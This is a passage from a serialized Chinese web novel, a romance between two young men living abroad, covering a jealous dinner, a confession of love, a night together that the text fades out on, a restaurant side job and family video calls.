凌蒲见越描越黑,只得背过身,快速扯了衣服。 他不仅天生皮肤白,而且属于穿上衣服显瘦,脱了衣服该有肉的地方有肉的类型,虽然没有系统锻炼,但平常跑跑跳跳,身材很不错。 看着凌蒲慌慌张张的样子,时璟承淡定地伸手戳了他一下。 “?” 凌蒲没想到时璟承能做出这么幼稚的事情来,拿着衣服转身发愣。 时璟承收回目光,走出去:“随便穿穿,又不是只和我吃饭。” 就是因为不只和时璟承吃饭,才要穿得人模人样一点,凌蒲套上偏正式的衣服,最后去把头发吹了个造型,到门口换鞋。 凌蒲平常完全不注重这些,顶着天生丽质的一张脸行走天下,稍微捯饬下,每次都相当拿得出手。 时璟承确实觉得挺骄傲,把他带去了餐厅。 看到杜翊谦第一眼,就知道对方攒着劲儿要整点什么。 分明对男的不感兴趣,也西装革履,把平常泡妞的架势摆出来,主动为时璟承“测试”。 “你好。”杜翊谦彬彬有礼。 “诶?时璟承的朋友就是你啊。”凌蒲意外,“之前见过,怎么没早说。” “也就一面之缘。要不是你后来主动联系我,可能就不会有交集了。” 杜翊谦话里有话,但凌蒲没听出来,笑道:“还真是,你今天和之前不太一样。” 三人落座,服务生一道一道地开始上菜。 凌蒲没忘记主题:“谢谢你把房子给时璟承住。” “没事,不过是我闲置的房产之一罢了。开始想着是否合适,但看到和你合租之后,我觉得你就是房子等待已久的主人。或许它空着,就是为了遇到你。” 话语半开玩笑,娴熟地配着眉目传情,杜翊谦做这一套特别熟练,每次泡妞必备。 凌蒲笑笑,不知道对方为什么用了“合租”这个词,是不是还不知道他和时璟承的关系,难道时璟承还没说。 忽然一道大龙虾被端上来,眼睛立刻睁圆,注意力和目光全随着龙虾去了。 杜翊谦就势替他切了一块龙虾肉蘸上芝士,搁在盘子里,又把旁边的白葡萄酒推到凌蒲面前:“得配着才好吃。” 要是在时璟承面前,凌蒲早一口把龙虾肉给吃了。但毕竟是当着外人的面,他按照流程矜持用餐,喝酒的时候还是忍不住皱了皱眉头。 一直假装大度旁观的时璟承才不动声色地把酒杯拿下来:“不喜欢喝就不喝。” 杜翊谦趁机说:“是不是嫌度数不太够。外国的酒就是这样,还好我在这里存了好酒,拿上来一起喝。” “他不能喝酒。” “那感谢的没诚意啊,那么大一套房子呢。”杜翊谦颇有深意。 他用话噎着时璟承,感觉特别爽,也真是可怜,有钱都没法正儿八经花出去,单相思真可怕。 时璟承朝杜翊谦皮笑肉不笑。 要知道这点对他来说压根不算什么。 最近本就风烛残年的时岳韬已经愈发不清醒,他按照承诺将财产绕过虎视眈眈的儿女们,打算给时璟承。 但时璟承和顾乾商量了,只拿该拿的一部分,剩下的放回筹码盘里,让其他人去争。 能左右那么大企业分配的时璟承此刻也得为博美人一笑而忍气吞声。 凌蒲拦下时璟承答应道:“确实是应该的。杜翊谦哥人这么好。” “杜翊谦哥?”时璟承咬了下后槽牙。 杜翊谦头一回见时璟承这样,简直太开心,在作死的道路上一去不回。 倒也不敢真灌凌蒲酒,自己的酒杯倒满,就给凌蒲倒了个底儿,图个效果。 “没想到你这么可爱。”杜翊谦有点醉,倾身向前,“我还有处更大的地方,在中心别墅区,给你一个人住好不好?” 杜翊谦也属于走路上会“哇”一下的帅哥类型,举手投足贵气不凡,现在这么个屡试不爽的招式,没什么人能拒绝。 时璟承觉得今晚把凌蒲带过来是个错误,简直羊入虎口。 他切下一块烤羊排,仰头把红酒干了。 “一个人住别墅有什么意思。”凌蒲专注干饭,顺口说,“时璟承在哪里我在哪里。其实我觉得以前小公寓也很温馨,如果和时璟承在天桥底下睡帐篷也会很好玩。” 随便的一句话,让杜翊谦和时璟承都停下了动作。 杜翊谦瞠目结舌,这和他想象的一点都不一样:“不是。你们俩什么关系?” “时璟承是我男朋友。”凌蒲骄傲。 不经意露出手上的戒指,慢动作伸向酒杯,假装抿了一口。 时璟承配合地夹取杜翊谦面前的菜,戒指的光芒和灯光碰撞,不大不小的一个反射。 明显的同款。 被贴脸的杜翊谦愣了几秒,咧了下嘴,看向时璟承:“合着是整我来了是吧?” 亏他一晚上打定主意要来看时璟承的笑话,在这开屏了那么久,压根没被凌蒲意识到。 时璟承这小子真是好命。纵横情场多年片叶不沾身并且从未后悔过的杜翊谦忽然在这一刻产生了点羡慕。 凌蒲一无所知地低头吃他的饭,全然不知道这个饭桌上发生的波动。 很愉快地结束一顿饭,和杜翊谦挥手告别。 刚坐到车上,愉快地心情还在持续,正想抒发几句感想,就听时璟承问: “你什么时候主动联系的杜翊谦?” “还有——”时璟承似乎停顿了一下,还是继续说了,“开餐馆的学姐为什么夸你帅?” 第136章 凌蒲看着时璟承,忽然笑了下。 专属于他的笑容,露出一排洁白齐整的牙齿,配上有点婴儿肥的脸颊,柔和的线条舒展开来,笑意从眼睛溢出,显得流光溢彩。 以车窗飞速移动的光影为背景,加上今日绝赞的造型,这帧画面让一切黯然失色。 凌蒲凑近一点,在车内偏暗的光线下仔细观察时璟承的神情,新奇地调侃道;“你吃醋了?” “你这才是逗狗的语气。”时璟承推了下他的脸,没有用力也没有推开。 “为什么要说‘才是’?”凌蒲重新靠回座椅,想起来,“我知道了。小时候你经常像和小狗说话一样和我说话,比如把饭放在面前让我‘吃!’” 他模仿得惟妙惟肖,板起脸,竖起眉毛,试图模仿迷你Zev的神情,但同样的表情放在他脸上,感觉完全不一样。 时璟承伸手捏了捏,最后在下巴按了一下。 凌蒲乖乖回答:“学姐都四十多了,孩子都好几个了。” “端盘子可以获得很多小费,比洗碗好多了。我觉得挺有意思的,也是一种生活体验,以前在家里都没干过活。”他在口袋摸摸,“哦,小费在另一件衣服口袋里。” “还有那个杜翊谦哥,我发消息给他是为了找你” 凌蒲耐心地一一解释,并没有觉得时璟承无理取闹。时璟承没等说完,就抬起他的下巴,在那一张一合的嘴巴上亲了一下。 耳边的声音戛然而止,凌蒲愣愣地看着时璟承。 假装若无其事地看着窗外,但偷着摸了一下嘴唇,上面仿佛还残留着刚才的触感。虽然似乎接过很多次吻,但每次的体验都是如此不同,让人留恋。 高中的时候,他总以为时璟承是个花花公子,只觉得和很多人都做过同样的事情,一直告诉自己不要表现得太新奇。 但现在据说时璟承只交往过他一个人,那就证明这些是独有的,只有他凌蒲亲过时璟承,想想就挺愉快。 而且似乎还有些事情更值得期待。 他抠了抠自己的衣服角,静静地缩在角落,不知在想些什么,表情变幻莫测。 忽然开口道:“要不在这附近停一下,我们走回去吧。” 时璟承以为他刚才吃得太多,便和他一起在这里下车。 天色并不算太晚,繁华街区来往车辆很多,路边大部分是牵着狗散步的夫妻,还有行色匆匆的下班族,微凉的风吹拂,氛围很好。 时璟承拢了拢衣襟,旁边凌蒲不时和他接触,不管是衣物的碰撞还是发丝的摩擦,都让人心旷神怡。就这么走着,胜过所有精心策划的活动。 一转头,想应景地说些什么,就看到凌蒲一副心事重重的样子,注意力似乎在别处。 “?” 他故意停下脚步,凌蒲并没有注意到,而是继续自顾自地朝前走,留下一个沉思的背影。看样子并没有意识到旁边已经没了人,走得十分专注,差点要撞到前面的垃圾桶上。 “凌蒲。”时璟承及时叫他一声,非常遗憾浪漫畅想落了空,他就知道凌蒲没有这方面的天赋。 凌蒲才回过头,如梦初醒般“噢”一声,又往回快走两步拉住时璟承,一起走了段,最终鼓足勇气般丝滑地溜进一家店里。 “有什么要买的吗?”时璟承问他。 “你先帮我拿个购物篮,要那个黑色的。”凌蒲指挥时璟承。 时璟承虽然不知道到底要买什么,还是听他的,拿了手边的购物篮递过去。 凌蒲先在每个货架上挑选零食,放到篮子里,不过选的都是体积特别大的,比如鼓起来的膨化食品和一排饼干,时璟承站在旁边,饶有兴致地看着,帮他放了些平时爱吃的。 虽然他已经在新房子里准备了装满零食的零食柜,但短时间内又不会过期,多买一点也没关系。 “水果吃不吃?买点水蜜桃。”时璟承看到远处水果区新上了水蜜桃,挤挤攘攘的都是人,这里的大爷大妈也是战斗力超群。 凌蒲随口道:“不要吧。” “我帮你切成块。” “那好。” 凌蒲满口答应,他正看着手里的两个味道薯片,神情凝重,仿佛在做什么关乎世界存亡的选题。 时璟承顺手帮他把两个都放进购物篮,才转身出发抢购水果,凌蒲还在沉思。 眼看时璟承去水果区,他终于靠近收银台,随便摸了两盒神秘物品,飞快丢进篮子里,搅和搅和,混到最下面。 最后把篮子交给时璟承:“去结账吧,我打个电话。” 他迅速转身离开,在外面拨弄手机。 程益添还在没心没肺地给他分享日常,倾诉思念之情,凌蒲批奏折似的,一条一条审阅。 直到时璟承拎着购物袋到面前,在他脑后揉了揉:“走吧。” 凌蒲默默观察时璟承的神情,等待着对方的问题,但却什么都没等到,他疑惑地皱了下眉头,上前跟住时璟承。 出了便利店之后夜幕已然完全降临。 星星点点的灯光更为耀眼,彰显着这座城市的繁华,任何一个行人在其中仿佛都变得渺小。尤其是周围不一样的语言环境,传来各种语速和音调的英文,他们都过着截然不同的生活。 昼夜温差有些大,凌蒲后知后觉地把衣服胡乱裹了裹,意识到自己正处于陌生的城市里。 他竟然真的离开了温暖的家,跨越大西洋,来到只存在于地图里的国家。 放在以前想也不会想到。 他稍稍停步,思念的情绪还没酝酿完,就撞进一个熟悉的怀抱,还有让人安心的松柏淡香,是时璟承衣柜的味道。 “凌蒲。”时璟承伸手揽住他,在他耳边低声道,“我们搬房子,不是为了上|床。” 沉浸在情绪中的凌蒲半天才回味过来这几个字的意思,愣愣地看着时璟承。 “你怎么能说这样的话。”他谴责。 看着他义正辞严的摸样,时璟承忍不住笑了声。 “这件事似乎给你很大的心理压力。你不会以为是那天你说隔音不好床太小,然后我特意搬了个房子,就为了继续?” 凌蒲瞪着那双漂亮的眼睛看时璟承,难道不是吗。他好容易做了一些心理建设,时璟承竟然要说不是。 “那我为什么不直接把你绑到酒店。” 时璟承说这个几个字的时候特意严肃起来,恐吓凌蒲,看到略微的惊恐才满意。 他抬手碰了碰凌蒲的睫毛:“我爱你,凌蒲。” 三个字几乎贴着耳廓,准确无误地传播到心脏。在繁华的夜景里,嘈杂喧闹的人群和急切鸣笛的车流仿佛都按下了静音键,只剩下这几个字的音调和内容反复摩擦。 他以为时璟承会在更久的时间,更庄重的场合打着领带这么说,似乎才更符合时璟承。 晚风撩起凌蒲额前的碎发,向来直率坦荡的他竟然一时间没有热情回应,也没有跳起来拥抱时璟承,就这么在原地宕机。 都不知道自己是怎么到家的,进了门才像被激活了似的,摸索着去吻时璟承。 嘴唇是微凉的。 他希望能摸到时璟承的体温,于是拉开对方的外套,环抱住腰,果然暖暖的。 又不满足地再摸摸,真是手感非常好地肌肉线条。 “我一直都愿意的,时璟承。” 凌蒲微微仰着头,微张的嘴唇红润,眼睛也像刚下过牛毛细雨,有点迷蒙。 时璟承把他抱起来,进了房间。 虽然说不是为了什么,但卧室的大床着实柔软而宽敞,房子隔音很美妙,完全没有任何打扰的因素。 凌蒲觉得一切都正好,这也是他的期待已久。 “我去拿。” 他来到方才的购物袋,翻翻找找,却不是最初投放进去的那两盒,而是四盒。 疑惑地偷偷观察,发现其他两盒的型号要比原先两盒的大一些。 耳廓变得很烫:“时璟承你都重新拿了,还把原来的放在里面干什么?” “纪念一下。” 时璟承靠着门框,漫不经心道:“你刚刚真是很可爱,应该把它们裱起来。” “讨厌你,时璟承。” 凌蒲返回房间,又像个被剥了皮的粽子,被戳在锅里,在充满水蒸气的高温里浮浮沉沉。最后,湿漉漉的凌蒲抱住时璟承。 听着对方稍重的呼吸声,确实是非常性感。 他不知在什么时刻睁开紧闭的双眼,努力描摹时璟承的线条,不管身材或是长相,无论是动还是静,依旧是赏心悦目。 真是让人心满意足。 …… 直到漂亮的朝霞从窗户洒进来,熹微的光芒几乎填充屋内,凌蒲还迷迷糊糊地不想睡。他白皙的肩膀露在被子外面,带着斑驳的吻痕,脑袋挨着时璟承的下巴,叽叽咕咕地说着,从高中开始,试图把和时璟承分开时间里发生的所有事说个遍。 但说了半天,还没过完高中时的一个月。 “当时我学习很努力了,那个沈庭赫人还怪好的,不知道为什么会给我补课,虽然一开始讲题方式我不太听得懂,但后来忽然就和你讲的很像,再配合那本笔记,我一下就看懂了,就是他有时候会忽然问我的行踪,不知道是为什么” “先睡吧。醒了再说。”时璟承看着凌蒲快粘在一起的眼皮,建议道。 “时璟承,你真无情。” 凌蒲翻了个身,本打算独自伤感一会儿,但就这样进入了梦乡。 隐约感到落入个熟悉的怀抱,变得很安心,他本能地向后靠了靠,脑袋蹭了两下。 第137章 也就刚刚八点,闹钟“嗡嗡”地响起,床上的被子动了动。 屋里才静下来没多久,现在又被这一声打扰。时璟承拧起眉头,捂住怀里凌蒲的耳朵。 凌蒲倒是难得地动作更快一点,睁开眼睛看了眼:“是我的闹钟,得去上班了。” 时璟承抱着人的手臂收紧了一些,让凌蒲无法脱身。在这个美好的上午,就该享受静谧无损的睡眠,他时璟承的老婆哪里要为了钱奔波。 “真要上班了,可不能迟到。” 凌蒲有自己的想法,很是无情地掰开时璟承的手,然后想起来什么似的:“对了,我的钱已经凑到整数了,一会儿先转你。” 还带着昨天的吻痕,离开被窝时倒是果断,边在地上捡着衣服边说着钱的事。 时璟承淡淡地看着凌蒲:“现在给一笔钱,为了奖励我昨晚的表现?” 凌蒲是个很保守的人,他左右看看,皱眉:“别说这种话。文明一点。” 他身上胡乱套着睡衣,跑到书包里,拿出几张钞票,交给时璟承:“待会别忘了帮我划掉。” 时璟承靠在床上,看着这几张钞票,整理到一起去,毕竟都是凌蒲的劳动所得。 “谢谢。”他接受一切。 “帮我穿下衣服时璟承。”凌蒲伸手把衣服递给他,小声说,“有点疼。” 时璟承把他揽在怀里亲了下,帮他穿戴整齐:“早说今天有事,昨天就收敛点。” “诶呀,你没收敛吗?我其实还好,说了别说这种话了。”凌蒲耳朵红红,但故作大方地安慰着。 时璟承皮笑肉不笑地看着他,穿裤子时故意在对方屁股上捏了下,凌蒲龇牙咧嘴。 “我送你去。” 时璟承驱车把凌蒲送到工作餐厅,正想一起下去,被凌蒲制止:“闲杂人等不要进。” “等你也不行?” “不可以。如果人人都带家属来,那岂不是乱套了。而且大家很八卦的,先不要被外人发现我们的关系,低调一点。” “家属”这个词有爽到时璟承,不过他还是没放弃:“我点菜也不行?看看你怎么当的服务生,有没有人和你搭讪,毕竟你帅得这么明显。” “上午不营业。”凌蒲铁面无私,“再见,老板娘已经来了。” 时璟承目送凌蒲进去,似乎和同伴熟稔地说说笑笑,就不见了身影。里面服务生都在做着一些准备工作,身影不时闪过一下。 他和幼儿园门口送孩子的家长似的,盯着看凌蒲什么时候出现。 但凌蒲好像一直都在后厨忙,店里面看不到人。 时璟承拢了拢衣服,还是进了店。 “Excuse me,we are not open yet.”中餐厅老板娘正低头整理账务,说完才抬头。 看到时璟承风度翩翩地朝这一站,眼前亮了下。 换了中文:“不好意思,用餐吗?我们这还没有开始营业。” “请问我能借用位置等个人吗,可以点菜或者支付费用。”时璟承礼貌道。 老板娘没有犹豫,直接热情地一口答应:“当然了你随便坐,不用别的。靠窗口坐,对那边。” 她颇有商业头脑,果然路过的人回头率都要高些。 一边端了杯水给时璟承一边问:“你知道你长得特像一个明星吗?” “顾乾?很多人都这么说。” “我就说嘛!你竟然知道顾乾,他在国内特别火,我还没出来那阵他就” 老板娘觉得亲切,让他随便等到几点,以后有空就可以来坐坐,顺手把空调风扇调整了一下,让环境变得舒适。 此刻凌蒲正在后厨满头大汗。 他系上围裙,挽着袖子,在当服务员之前先做一个择菜小工。不过除去辛苦之外,这里工作氛围不错,还能顺便学英语,他主动给厨师打下手,哪里需要搬哪里。 虽然会的不多,但态度积极,擅长聊天,在这里也很受欢迎。 终于能从闷热的厨房出来,他拨开额前的碎发,就看到时璟承悠然地坐在窗边,正阅读书籍,手边还放了杯柠檬水,和拍海报似的。 还以为是自己看错了,凌蒲擦擦眼睛,又看类一遍,还真是时璟承。 “喂,你怎么混进来的。”凌蒲溜过去。 “我在这里等人。你是?” 看来时璟承牢记凌蒲的叮嘱,假装并不认识他。 凌蒲也一扭头:“认错了。” 时璟承继续等他的人,凌蒲继续忙忙碌碌,像个小蜜蜂。 转眼时间临近中午,一切准备就绪,餐厅开门营业。 凌蒲已经冲完澡换了身得体的服务员制服,衬得身段特好,甚至还吹了头发,朝那一站和招牌似的,难怪会被学姐提拔。 这是出卖色相来了。 于是在凌蒲路过的时候时璟承拧起眉头:“谁给你吹的头发?” 凌蒲转过头,有些疑惑地挑起眉头:“你是哪位?如果没有点餐需求的话就不要搭讪了,我已经不是单身了。” 他掠过,如同一只骄傲的小公鸡。 时璟承语塞,手一挥:“点菜。” 旁边老板娘应声而来:“说了你不用点菜,就坐在这里等人就好了,你这个单人座平常也空着。” “到饭点了。”时璟承说,“顺便吃点。” 老板娘挺高兴,当即拿过菜单要来点,但时璟承在服务员中指定:“那位给我点就好。” “哪位?” “尾巴快翘上天的那位。” “哦,小凌,你来替这位客人点餐。” 凌蒲便应声而来,站到时璟承旁边:“你要吃什么?” “有什么推荐。”时璟承淡淡。 “这个青菜汤,我亲手择的菜。” 凌蒲手指一戳,戳在幸运的青菜鸡蛋汤上,还想再按时璟承的口味推荐几个,就听这人不紧不慢道: “别和我搭讪。我也有对象了。” “爱吃不吃。”被戏耍的凌蒲很生气。 正转身要走,制服的带子被时璟承扯住,不得不退了回来。 时璟承若有若无地顺便在他后腰摩挲了下,按了按:“你帮我点。” 随着午餐时间临近,餐厅的人逐渐多了起来,凌蒲匆匆给时璟承点了一些,便开始忙碌地工作。 表情严谨认真专业,看起来很像回事儿。 尤其凌蒲能感到有可怕的目光在盯着他,更是一举一动都极力展现最好的一面,他凌蒲在外可是认真工作的成熟服务生,以打消时璟承莫名奇妙的疑虑。 谁知朝那个方向瞄一眼,眼前的景象差点把他气吐血。 只见一个漂亮的外国女生正在时璟承旁边,热情洋溢地说着什么,还拿出手机,一看就是要加上联系方式了。 凌蒲凝视。 “Here is your tip.(这是你的小费。)” 顾客叫了他两回,最后只得把小费塞到凌蒲的口袋里去。 “噢,thank you.”凌蒲回神,先笑了一下。 然后两个顾客说了串英文,凌蒲能够听得明白。先夸了他帅气可爱,然后又说角落里那位男士极其帅气,询问凌蒲是否认识。 凌蒲“no no,sorry sorry”两声,继续愤怒凝视。 直到那个年轻女生带着没有添加上联系方式的手机离开,凌蒲才勉强放心。但进去催个菜的功夫,出来又换了一个 “我都拒绝了。” 一天结束之后,时璟承在车上解释。 凌蒲脸色阴沉地看着窗外,想象自己现在冷若冰霜,就如同生气时候的时璟承一样,肯定十分让人害怕。 “我坐了位置,总得招揽一点客人,说不定能让我下次还坐在那。” “你怎么招揽客人了。”凌蒲压低音调,试图让自己的声音和语调听起来像时璟承一样,冷酷而不容置疑。 “就是和外面的人对视,有时候点点头。” “我讨厌你时璟承。” 凌蒲没心情再扮演时璟承,直接扭过头不说话。 一直到回家,都没有再和时璟承说一句话,抱臂坐在沙发上。 时璟承在他旁边坐下。 凌蒲立刻朝另一端挪,并且通知:“时璟承,我再也不理你。” 时璟承便没有和他说话,拿出洗好的水蜜桃削皮。 昨天在超市刚买的水蜜桃品相很好,粉里透着深粉,深粉里透着红,看起来皮包汁水多,正是凌蒲最喜欢的那种善良水蜜桃。 时璟承耐心削皮,这种偏软的水果不是很好削,需要一定的技术,凌蒲偷偷分过一点眼神看着,也屏息凝神起来。 一个完美的去皮水蜜桃出现在面前,时璟承又用刀切成小块,干脆利落,尽量保留汁水。一口咬下去,体验肯定极其美妙。 凌蒲等待。 时璟承慢条斯理地在每一块水蜜桃上叉好牙签,然后缓缓拿起,咬一口。 凌蒲瞪大眼睛。 “你怎么自己吃了?” 时璟承复述:“你不是再也不理我了。” “我真的讨厌你时璟承。你欺负我。” 时璟承把凌蒲揽过来,整个碗端给他:“都是你的。不够再削。” 水蜜桃的清香扑鼻而来,但凌蒲很有骨气地不张嘴。 他偏过头:“很过分。” “我知道。我们凌蒲这么累,我怎么能泡妞?” 时璟承没什么表情,却正正好好把凌蒲下一句想说的话给说了,让凌蒲酝酿的情绪被打破,他没想到时璟承会说出泡妞这个词,有点违和。 “其实骗你的,根本没对视微笑。” 时璟承把碗放他手里:“吃吧。” “帮我按按。” 凌蒲大爷似的朝柔软的沙发上一趟,腿一翘。 时璟承把外套脱了,挽起一点袖子,价值不菲的腕表闪闪发光,底下金色的小粽子还在,衬得腕骨很漂亮。 他挽了挽袖子,替凌蒲按腿。 凌蒲理直气壮地享受着时璟承的服务,同时边吃水蜜桃边补充:“不光累,还有点疼。你还拿我当乐子在这玩我。” “还想吃什么,晚上帮你做。” “所以你今天看到想看的了吗,放心了吗,下次不用去了吧。” “嗯。” 时璟承并不是想看别的,他发现凌蒲的工作状态闪闪发光,和同事相处得不错,还能锻炼口语,确实是一份可以暂时做下去的兼职。 凌蒲没想到时璟承答应得这么果断,看着对方低下的乌黑发顶,觉得自己是不是有点过分了,收起腿。 正好被时璟承捏了一下,按得还挺舒服,又不由有点感动。 忽然想起什么,在口袋里摸索一下,愉快地交给时璟承:“又有收入了,再给你一部分。” 他腿还翘着,大方地给予钞票。 时璟承接过来:“你每次真会挑时机。” 可能太过舒适,凌蒲的胆子忽然膨胀起来:“小时,服务得不错。” 第138章 【钱芷:粽粽,你过得好吗?怎么说去打工了?】 【凌逸飞:儿子,那么晚才下班啊,你这是干嘛呢,让你多玩玩呢?是不是钱不够,还是被人抢了?】 【程益添:兄弟,你还好吗?】 凌蒲正舒适地享受着时璟承的伺候,手机里一条接着一条的短信响起。 他一直酷爱分享生活,今天工作完之后也颇有成就感,随手一拍就转发了一圈,没想到无人为他的成功而感动,却只关注这些虚浮之物。 又给大家发了很好,但这回没有人相信,都觉得他在国外刷盘子刷到手抽筋,每天蹲在街边抱头痛哭。 凌蒲换了条腿,给时璟承继续按摩,再匆匆向解释现状充实美好,不必担忧。 程益添不听,给他猛猛转账。 最后连几块几毛都转过来了,把凌蒲感动得大拍沙发。 “这么激动?” 时璟承凑过来看,又是这个可恶的名字,和阴魂不散似的。 “不要他钱。给他十倍转回去。” “我当然不要。不过你这十倍也太豪横了。” “你不转我转。”时璟承冷着脸摸手机。 凌蒲动动腿,示意他继续:“就是好朋友嘛。你也见过好多次了,等找个合适的机会坦白我们的关系。” 他继续享受舒适生活,吃着面前的水蜜桃,哼哼唧唧。 忽然放下腿:“我妈给我打视频了,怎么办,你要入镜吗?” 时璟承摇头:“不太正式。等有机会。” 于是凌蒲噔噔瞪跑回房间,戴上耳机,接起视频电话:“妈妈。” 电话那头的钱芷仔细打量凌蒲,一句“你瘦了”卡在喉咙处没能脱口而出,因为屏幕里凌蒲的小脸反而还显得圆润了一些,没有什么风餐露宿或者是成为homeless的痕迹。 只能谨慎地打量凌蒲身后的环境,结果不看还好,一看简直是吓了一跳。 “凌蒲,你在哪里,为什么看起来这么豪华?” 凌蒲一愣,想着刚才时璟承不愿意公开,就只能随便扯了点:“我在同学家玩呢。” “都这么晚了,还在哪个同学家玩?” “凌蒲你不会走上歧路了吧,我听说好多留学生贪慕虚荣,就去找富婆大款什么的傍着,一点尊严都没有。可不能做这样的事情。” 凌逸飞也挤过来:“还真是。看这个环境和摆设,肯定不是学生公寓。” “真是同学。”凌蒲苍白地解释,“我们关系好,就暂时住在这里了。” “男同学女同学?” “男同学。” 这么一说,凌逸飞和钱芷稍微放心了一点。这也并不是全无可能,毕竟凌蒲从小人缘就特别好,和程益添一起吃吃住住的,或许真有人收留了他。 “我和你妈妈看看能不能办签证去看你。”凌逸飞说。 “不用麻烦了。”凌蒲没放在心上,糊弄道,“我去打工真的就是体验一下,是我们导员给我介绍的,在一个学姐亲戚开的中餐馆里端盘子。而且不只是那个工作,还有在实验室帮师兄,生活很充实的。” 毕竟距离离得远,凌逸飞和钱芷即使有怀疑也不好一直说,于是便先跳过这个话题,开始闲聊模式。 等挂断电话,凌蒲跑出门,和时璟承讲述惊险一幕。 时璟承听着,揉揉他的脑袋。 “对了,你怎么不按了。我腰也疼着呢。都怪你。” 凌蒲刚和他爸妈打过电话,语气里还留着点啊撒娇的意味,朝沙发上一趴,又觉得硌着不舒服,转移地点到屋里的床上,重新趴好。 身上穿着深色睡衣,依旧画着时璟承不认识的卡通图案,腰上衣服掀起一截儿,露出白皙的肌肤。 一副任人宰割的摸样。 时璟承拍一下凌蒲:“你这诱惑谁呢。” “时璟承,别说这样的话。”凌蒲哼唧,“健康对话。” 时璟承只得心无旁骛,替凌蒲捏了捏腰。上面的肉软软的,但因为年轻有韧性,手感极佳。 戳戳按按,凌蒲非常满意。 “时璟承,你真不错。” “还有钱啊要给我吗?” 凌蒲还真摸摸口袋,不过在睡衣里没有钱,倒是掏出来一块糖果,塞到时璟承的口袋里。 时璟承垂眸看了下,想起当年小时候,凌蒲也是这样给了他一块糖。 他小时候一直都特别自律,总是以很严格的标准要求自己,对于糖果也并不太热衷,家里从来堆积如山,但不会吃。 忘了是在什么样的情境下,一只黏糊糊的小手拿着一块黏糊糊的糖,塞到他嘴巴里,这才知道原来糖果的作用是让人快乐。 凌蒲赠人玫瑰,昏昏欲睡地半阖上眼,忽然感到腰上的那只手逐渐在朝下走,到了十分危险的地方。 匆匆按住:“不可以,时璟承。” 时璟承低头吻他的后脖颈:“你昨晚说没什么感觉的。” 温热的吻从后脖颈一直延续到耳朵后方,最后落在耳垂上,轻轻抿了下。 凌蒲一抖。 脑海里开始回想起昨天的很多画面,本来在第二天都强迫自己忘了七七八八,结果现在又展现在眼面前。 虽然有些羞耻,但整体来说凌蒲的确是快乐的。 他便也逐渐收了手,只是抱住枕头。 但时璟承反而不再继续了,只是轻轻地吻着他,凌蒲有点小失望,不过很快发现这些吻让他变得很宁静,似乎能感受到时璟承对他的喜欢。 凌蒲不算太会分辨,但至少像他对待小猫咪一样,恨不得全身都亲个遍。 “时璟承,我的猫还好吗?” “好着,陈叔在照顾。” “我有点想他。” “凌蒲,你想不想回国?”时璟承问他。 凌蒲笑道:“这才出来多久啊就回去,我爸妈肯定以为我是当逃兵不读了,得把他们都吓着。” “我不是说现在。”时璟承躺在凌蒲旁边,“你申请交换了两个学期,会不会太久?” “怎么会,才” “你不想家吗?” 听到这个问题,凌蒲沉默,那不可能不想家。凌逸飞和钱芷并不是那种生活里只有孩子的家长,从小到大他们对凌蒲的希望就是健康成长。 凌逸飞在自己的公司奋斗,钱芷也有舞蹈工作室的事业,包括现在凌蒲出国,他们俩也是在很快乐地旅游玩耍,但凌蒲确实很想念他们。 “但是我也会想你。”凌蒲还趴着,只侧过脸,借月光看着时璟承。 时璟承愣了下,没有想到会有这个回答。 “我大多数时候睡眠都很好,高三的时候也没有因为考试和焦虑而失眠过。但我有几次想你想得睡不着,一整夜都没睡着。” 时璟承伸手,把凌蒲的碎发撩开。 “时璟承,你有没有想过我?” 时璟承很要面子,他不回答。 凌蒲自顾自地给了回答:“我觉得你应该想过。不然怎么一直戴着我的小金粽子,你知道自从高中” 他无缝衔接上了之前没有讲完的话题,从高中的一个月后开始讲起,月色如水般轻轻笼罩,一直讲到自己困了,声音越来越慢,越来越小,直到闭上双眼,完全进入梦乡。 * 凌蒲很努力地坚持打工,每次交给时璟承钱的时候都特别骄傲。 时璟承买了个金猪储钱罐,把凌蒲的钱一笔一笔装进去。 时光飞逝,金猪变得逐渐饱满起来,凌蒲也结束了在中餐厅的最后一次工作日,和大家不舍地做了告别,准备去上学。 他在交换学期开始前夕,一样一样地整理好物品,放进书包里。 由时璟承开车送他,到距离学校一段距离的时候停下,然后自己步行上学。 “停车场不会有人看到你。”时璟承提醒。 “诶呀,万一呢。” 时璟承点评:“幼稚。” 凌蒲本来都已经快下车了,听到这话专门回来,辩解道:“这很正常,你高中不也这样?还记得我第一次看到你,你就是从你哥的豪车上下来。” 开始只是凌蒲单方面地看到时璟承,像时璟承当时那么目中无人,并没有提前看到凌蒲。 说道这里,时璟承也被凌蒲唤醒记忆,想到那时候的事情,没想到还有旁观者,便挥挥手,假装无事发生地让凌蒲下车。 带队的老师先组织大家集合,宣布已经分配好了学生公寓。 “是合住吗?”有人问,“上下铺?” “是单间。”老师回答。 底下传来了一些喜悦的声音,大部分都是初次离开家,独自住一个房子也是独立的象征。 凌蒲接过钥匙,感动地意识到自己竟然有了个小小的住处,这是以前没有想过的。即使不说时璟承,来到这里也是个长足的进步。 “各位同学好,我们本次交换是以学期为单位的,尽量完成一学期的学习,结束之后可以选择返校或是留在这里继续交换生活,接下来有一些注意事项,必须要提醒各位” 凌蒲认真听讲,旁边已经叽叽喳喳地开始讨论起这里的选课制度和常见美食。 “同学,你是凌蒲吧?”旁边几人竟然认识他,尤其是两个女生,说凌蒲在活动里被偷拍的照片很出圈,网站上都能搜到。 “真人更好看。” 大家来到不同的环境,彼此之间的关系似乎都更加紧密。凌蒲也很快融入同学之中,和他们一起选了课,又玩了游戏。 直到一看手表,赶紧把手里牌一丢,匆匆起身道歉,朝外跑去。 在约定好的角落里,时璟承正倚着车,抱臂站着,身影看上去十分孤独。 凌蒲一口气跑过去,抱住他,气喘吁吁。 “这么急?”时璟承摸了下他的脑袋。 “我不是怕你等久吗?时璟承你是最重要的!”凌蒲没注意控制音量,声音在空旷的停车场回响,他迅速钻进车里,假装无事发生。 路灯流转,印亮时璟承唇角浅淡的笑意。 凌蒲一边享受座椅按摩,一边和时璟承叽喳,才想起来看看手机,发现程益添一连给他发了无数条消息。 “什么事儿啊。”凌蒲咕哝。 不点开还好,一点开就被第一条震了震。 【程益添:我怀疑时璟承对我有意思,怎么办?】 凌蒲偷看一眼时璟承,偏转过手机屏幕,大为吃惊地朝上翻。 【程益添:/图片】 【程益添:我靠,时璟承突然给我发这么多钱什么意思】 【程益添:加起来可是一笔巨款啊,正好我刚把所有的钱都发给你】 【程益添:你说他是怎么知道的,不会监视了我的钱包吧】 